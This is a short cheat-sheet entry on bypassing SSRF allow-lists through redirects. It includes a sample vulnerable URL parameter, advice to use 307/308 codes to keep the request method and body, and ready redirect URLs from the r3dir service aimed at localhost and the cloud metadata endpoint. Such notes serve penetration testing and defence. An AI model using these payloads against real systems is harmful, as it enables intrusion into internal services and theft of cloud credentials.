Server Side Request Forgery: Bypassing Using a Redirect
Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
Launch the SSRF pointing to
vulnerable.com/index.php?url=http://redirect-serverYou can use response codes HTTP 307 and HTTP 308 in order to retain HTTP method and body after the redirection.
To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use Horlad/r3dir.
Redirects to
http://localhostwith307 Temporary Redirectstatus codehttps://307.r3dir.me/--to/?url=http://localhostRedirects to
http://169.254.169.254/latest/meta-data/with302 Foundstatus codehttps://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
Comments
No comments yet.